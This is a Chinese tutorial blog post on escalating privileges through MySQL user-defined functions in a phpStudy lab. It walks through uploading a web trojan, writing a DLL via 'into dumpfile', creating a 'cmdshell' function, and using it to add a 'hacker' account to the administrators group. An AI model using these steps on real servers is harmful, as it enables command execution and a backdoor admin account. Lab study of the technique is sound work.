数据库提权——UDF提权

UDF提权

• UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

• UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

提权条件:

1、MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能

2、掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数

3、拥有可以将udf.dll写入相应目录的权限。

1、环境准备

1)将phpstudy中的服务变为系统服务

2)将apache降权为普通用户

创建普通用户
选择普通用户登录

3)将apache用户赋予phpstudy目录的读写权限

重启apache服务

4)修改mysql配置文件,并重启mysql服务

修改mysql配置文件
重启mysql服务

2、访问网站目录,上传木马文件

3、连接蚁剑

连接蚁剑

4、打开虚拟终端

打开虚拟终端

5、查看当前用户

查看当前用户

6、进入数据库操作

连接数据库
连接成功

7、查看数据库版本

select version();

查看数据库版本

8、查看mysql导出路径

show variables like "%plugin%";

查看mysql导出路径

9、选择test库,创建一个表

create table my_udf_data(data longblob);

创建一个表

10、插入数据

insert into my_udf_data values(0x4d5a........);  //内容过长

插入数据

11、写入dll文件

select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';

注意:如果没有plugin目录,需自己创建

写入dll文件

12、创建自定义函数

create function cmdshell returns string soname "myudf.dll";

创建自定义函数

13、查看当前用户

select cmdshell('whoami');

查看当前用户

14、添加新用户

select cmdshell('net user hacker admin@123 /add');

添加新用户

15、将新用户添加到管理员组

select cmdshell('net localgroup administrators hacker /add');

将新用户添加到管理员组
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 1 Mysql数据库漏洞提权 一般Mysql数据库经常使用php进行连接,会有较少的情况使用jsp,python等...
    shadowflow阅读 7,436评论 0 0
  • 一:如何获取mysql账号密码 1.查看网站配置文件 如:conn、config、data、sql、common、...
    Admin3K阅读 5,232评论 0 3
  • 一、如何获取mysql账号密码 1.查看网站配置文件 如:conn、config、data、sql、common、...
    心晴_32f8阅读 4,119评论 0 0
  • 提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...
    皮蛋是个臭蛋阅读 6,723评论 0 2
  • mysqludf提权操作 提示:上传udf.dll 小于mysql5.1版本 C:\\WINDOWS\\udf.d...
    K8s_Docker阅读 2,415评论 0 0

友情链接更多精彩内容